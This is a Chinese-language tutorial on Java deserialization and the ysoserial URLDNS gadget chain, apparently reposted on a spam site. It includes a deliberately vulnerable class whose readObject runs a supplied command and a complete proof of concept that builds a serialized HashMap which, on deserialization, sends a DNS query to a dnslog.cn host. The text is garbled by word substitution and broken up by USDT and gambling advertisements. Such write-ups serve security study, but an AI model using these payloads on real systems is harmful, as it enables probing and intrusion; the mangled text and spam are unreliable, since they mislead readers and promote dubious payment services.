USDT交易平台

U交所(www.9cx.net),全球頂尖的USDT場外擔保交易平臺。

Java反序列化

我们都知道一个工具只要实现了Serilizable接口,这个工具就可以被序列化,java的这种序列化模式为开发者提供了许多便利,我们可以不必关系详细序列化的历程,只要这个类实现了Serilizable接口,这个类的所有属性和方式都市自动序列化。

Java 序列化是指把 Java 工具转换为字节序列的历程

  • ObjectOutputStream类的 writeObject() 方式可以实现序列化

Java 反序列化是指把字节序列恢复为 Java 工具的历程

  • ObjectInputStream 类的 readObject() 方式用于反序列化。

实现java.io.Serializable接谈锋可被反序列化,而且所有属性必须是可序列化的
(用transient 要害字修饰的属性除外,不介入序列化历程)

User.java(需要序列化的类)

package Serialization;

import java.io.Serializable;

public class User implements Serializable{
    private String name;
    public void setName(String name){
        this.name=name;
    }

    public String getName() {
        return name;
    }
}

Main.java(序列化和反序列化)

package Serialization;

import java.io.*;

public class Main {
    public static void main(String[] args) throws Exception {
        User user=new User();
        user.setName("LearnJava");

        byte[] serializeData=serialize(user);
        FileOutputStream fout = new FileOutputStream("user.bin");
        fout.write(serializeData);
        fout.close();
        User user2=(User) unserialize(serializeData);
        System.out.println(user2.getName());
    }
    public static byte[] serialize(final Object obj) throws Exception {
        ByteArrayOutputStream btout = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(btout);
        objOut.writeObject(obj);
        return btout.toByteArray();
    }
    public static Object unserialize(final byte[] serialized) throws Exception {
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(btin);
        return objIn.readObject();
    }
}

查看user.bin文件,

00000000: aced 0005 7372 0012 5365 7269 616c 697a  ....sr..Serializ
00000010: 6174 696f 6e2e 5573 6572 ade4 cb02 ab94  ation.User......
00000020: b2b9 0200 014c 0004 6e61 6d65 7400 124c  .....L..namet..L
00000030: 6a61 7661 2f6c 616e 672f 5374 7269 6e67  java/lang/String
00000040: 3b78 7074 0009 4c65 6172 6e4a 6176 61    ;xpt..LearnJava

凭证序列化规范,aced代表java序列化数据的magic wordSTREAM_MAGIC,0005示意版本号STREAM_VERSION,73示意是一个工具TC_OBJECT,72示意这个工具的形貌TC_CLASSDESC

readObject()方式

从JAVA反序列化RCE的三要素(readobject反序列化行使点 + 行使链 + RCE触发点)来说,是通过(readobject反序列化行使点 + DNS查询)来确认readobject反序列化行使点的存在。

实现了java.io.Serializable接口的类还可以界说如下方式(反序列化魔术方式)将会在类序列化和反序列化历程中挪用:

  • private void writeObject(ObjectOutputStream oos),自界说序列化
  • private void readObject(ObjectInputStream ois),自界说反序列化

readObject()方式被重写的的话,反序列化该类时挪用即是重写后的readObject()方式。若是该方式誊写欠妥的话就有可能引发恶意代码的执行:

Evil.java

package EvilSerializtion;

import java.io.*;

public class Evil implements Serializable{
    public String cmd;

    private void readObject(java.io.ObjectInputStream stream) throws Exception{
        stream.defaultReadObject();
        Runtime.getRuntime().exec(cmd);
    }
}

Main.java

package EvilSerializtion;

import java.io.ByteArrayOutputStream;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class Main {
    public static void main(String[] args) throws Exception {

        Evil evil = new Evil();
        evil.cmd = "open /System/Applications/Calculator.app";

        byte[] serializeData = serialize(evil);
        unserialize(serializeData);
    }

    public static byte[] serialize(final Object obj) throws Exception {
        ByteArrayOutputStream btout = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(btout);
        objOut.writeObject(obj);
        return btout.toByteArray();
    }

    public static Object unserialize(final byte[] serialized) throws Exception {
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(btin);
        return objIn.readObject();
    }

}

URLDNS

URLDNS 是ysoserial中行使链的一个名字,通常用于检测是否存在Java反序列化破绽。该行使链具有如下特点:

  • 不限制jdk版本,使用Java内置类,对第三方依赖没有要求
  • 目的无回显,可以通过DNS请求来验证是否存在反序列化破绽
  • URLDNS行使链,只能提议DNS请求,并不能举行其他行使

ysoserial中列出的Gadget:

*   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()

原理:

java.util.HashMap 重写了 readObject, 在反序列化时会挪用 hash 函数盘算 key 的 hashCode.而 java.net.URL 的 hashCode 在盘算时会挪用 getHostAddress 来剖析域名, 从而发出 DNS 请求.

HashMap,readObject:

private void readObject(java.io.ObjectInputStream s) // 读取传入的输入流,对传入的序列化数据举行反序列化
        throws IOException, ClassNotFoundException {
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();
        reinitialize();
        if (loadFactor <= 0 || Float.isNaN(loadFactor))
            throw new InvalidObjectException("Illegal load factor: " +
                                             loadFactor);
        s.readInt();                // Read and ignore number of buckets
        int mappings = s.readInt(); // Read number of mappings (size)
        if (mappings < 0)
            throw new InvalidObjectException("Illegal mappings count: " +
                                             mappings);
        else if (mappings > 0) { // (if zero, use defaults)
            // Size the table using given load factor only if within
            // range of 0.25...4.0
            float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);

            // Check Map.Entry[].class since it's the nearest public type to
            // what we're actually creating.
            SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
            @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;

            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }

关注putVal方式,putVal是往HashMap中放入键值对的方式,这里挪用了hash方式来处置key,跟进hash方式:

static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

这里又挪用了key.hashcode方式,而key此时是我们传入的 java.net.URL 工具,那么跟进到这个类的hashCode()方式看下

URL,hashCode

public synchronized int hashCode() {  // synchronized 要害字修饰的方式为同步方式。当synchronized方式执行完或发生异常时,会自动释放锁。
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

当hashCode字段即是-1时会举行handler.hashCode(this)盘算,跟进handler发现,界说是

transient URLStreamHandler handler; // transient 要害字,修饰Java序列化工具时,不需要序列化的属性

那么跟进java.net.URLStreamHandler,hashCode()

protected int hashCode(URL u) {
        int h = 0;

        // Generate the protocol part.
        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();

        // Generate the host part.
        InetAddress addr = getHostAddress(u);
        if (addr != null) {
            h += addr.hashCode();
        } else {
            String host = u.getHost();
            if (host != null)
                h += host.toLowerCase().hashCode();
        }

        // Generate the file part.
        String file = u.getFile();
        if (file != null)
            h += file.hashCode();

        // Generate the port part.
        if (u.getPort() == -1)
            h += getDefaultPort();
        else
            h += u.getPort();

        // Generate the ref part.
        String ref = u.getRef();
        if (ref != null)
            h += ref.hashCode();

        return h;
    }

u 是我们传入的url,在挪用getHostAddress方式时,会举行dns查询。

这是正面剖析的流程。

回到最先的Hashmap,readObject

// Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);

key 是从K key = (K) s.readObject(); 这段代码,也是就是readObject中获得的,说明之前在writeObject会写入key

Hashmap,writeObject

private void writeObject(java.io.ObjectOutputStream s)
        throws IOException {
        int buckets = capacity();
        // Write out the threshold, loadfactor, and any hidden stuff
        s.defaultWriteObject();
        s.writeInt(buckets);
        s.writeInt(size);
        internalWriteEntries(s);
    }

最后挪用了internalWriteEntries 方式,跟进一下详细实现:

,

usdt收款平台

菜宝钱包(www.caibao.it)是使用TRC-20协议的Usdt第三方支付平台,Usdt收款平台、Usdt自动充提平台、usdt跑分平台。免费提供入金通道、Usdt钱包支付接口、Usdt自动充值接口、Usdt无需实名寄售回收。菜宝Usdt钱包一键生成Usdt钱包、一键调用API接口、一键无实名出售Usdt。

,
// Called only from writeObject, to ensure compatible ordering.
    void internalWriteEntries(java.io.ObjectOutputStream s) throws IOException {
        Node<K,V>[] tab;
        if (size > 0 && (tab = table) != null) {
            for (int i = 0; i < tab.length; ++i) {
                for (Node<K,V> e = tab[i]; e != null; e = e.next) {
                    s.writeObject(e.key);
                    s.writeObject(e.value);
                }
            }
        }
    }

这里的key以及value是从tab中取的,而tab的值即HashMap中table的值。

想要修改table的值,就需要挪用HashMap,put方式,而HashMap,put方式中也会对key挪用一次hash方式,以是在这里就会发生第一次dns查询:

public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

为了制止这一次的dns查询(防止本机与目的机械发送的dns请求混淆),ysoserial 中使用SilentURLStreamHandler 方式,直接返回null,并不会像URLStreamHandler那样去挪用一系列方式最终到getByName,因此也就不会触发dns查询了

static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }

除了这种方式还可以在内陆天生payload时,将hashCode设置不为-1的其他值。

URL,hashCode

public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

若是不为-1,那么直接返回了。也就不会举行handler.hashCode(this);这一步盘算hashcode,也就没有之后的getByName,获取dns查询

/**
     * The URLStreamHandler for this URL.
     */
    transient URLStreamHandler handler;

    /* Our hash code.
     * @serial
     */
    private int hashCode = -1;

而hashCode是通过private要害字举行修饰的(本类中可使用),可以通过反射来修改hashCode的值

package demo;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.net.URL;

public class Main {
    public static void main(String[] args) throws Exception {
        HashMap map = new HashMap();
        URL url = new URL("http://7gjq24.dnslog.cn");
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); // 反射获取URL类中的hashCode
        f.setAccessible(true); // 绕过Java语言权限控制检查的权限
        f.set(url,123);
        System.out.println(url.hashCode());
        map.put(url,123); // 挪用HashMap工具中的put方式,此时由于hashcode不为-1,不再触发dns查询

    }

}

完整的POC:

package demo;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.net.URL;
import java.io.FileOutputStream;
import java.io.FileInputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;


public class Main {
    public static void main(String[] args) throws Exception {
        HashMap map = new HashMap();
        URL url = new URL("http://7gjq24.dnslog.cn");
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
        f.setAccessible(true); // 绕过Java语言权限控制检查的权限
        f.set(url,123); // 设置hashcode的值为-1的其他任何数字
        System.out.println(url.hashCode());
        map.put(url,123); // 挪用HashMap工具中的put方式,此时由于hashcode不为-1,不再触发dns查询
        f.set(url,-1); // 将hashcode重新设置为-1,确保在反序列化乐成触发

        try {
            FileOutputStream fileOutputStream = new FileOutputStream("./urldns.ser");
            ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);

            outputStream.writeObject(map);
            outputStream.close();
            fileOutputStream.close();

            FileInputStream fileInputStream = new FileInputStream("./urldns.ser");
            ObjectInputStream inputStream = new ObjectInputStream(fileInputStream);
            inputStream.readObject();
            inputStream.close();
            fileInputStream.close();
        }
        catch (Exception e){
            e.printStackTrace();
        }

    }

}

再来调试下 ysoserial中的 URLDNS 模块,设置debug参数:

URLDNS "http://7mczz6.dnslog.cn"

直接debug报错:

改一下Project 和 Moudles中的 Project language level ,着实就是所有都设置成一样的,包罗pom.xml,着实不行,重新 git pull 重新导入idea 也能解决

下断点举行单步骤试,最后看这里

方式之间的挪用也很清晰的展示了出来。

借用一位师傅总结的 gadgets来竣事全文:

JDK1.8下的挪用蹊径:

  1. HashMap->readObject()
  2. HashMap->hash()
  3. URL->hashCode()
  4. URLStreamHandler->hashCode()
  5. URLStreamHandler->getHostAddress()
  6. InetAddress->getByName()

而在jdk1.7u80环境下挪用蹊径会有一处差异,然则大同小异:

  1. HashMap->readObject()
  2. HashMap->putForCreate()
  3. HashMap->hash()
  4. URL->hashCode()
  5. 之后相同

参考资料

谢谢:

https://wx.zsxq.com/dweb2/index/topic_detail/244415545824541

https://www.t00ls.net/articles-50486.html

https://wx.zsxq.com/dweb2/index/topic_detail/548242484442524

https://xz.aliyun.com/t/6787

https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java

https://www.liaoxuefeng.com/wiki/1252599548343744/1255945147512512

https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/

https://paper.seebug.org/1242/,urldns

https://www.yuque.com/tianxiadamutou/zcfd4v/fewu54

https://www.anquanke.com/post/id/201762

https://crossoverjie.top/2018/01/14/Synchronize/

Allbet Gaming声明:该文看法仅代表作者自己,与www.allbetgame.us无关。转载请注明:usdt法币交易api接口(www.caibao.it):Java反序列化 — URLDNS行使链剖析
发布评论

分享到:

usdt充值(www.payusdt.vip):锐参考 | 与美国一起对华举事后,日本有人最先主要了……
你是第一个吃螃蟹的人
发表评论

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。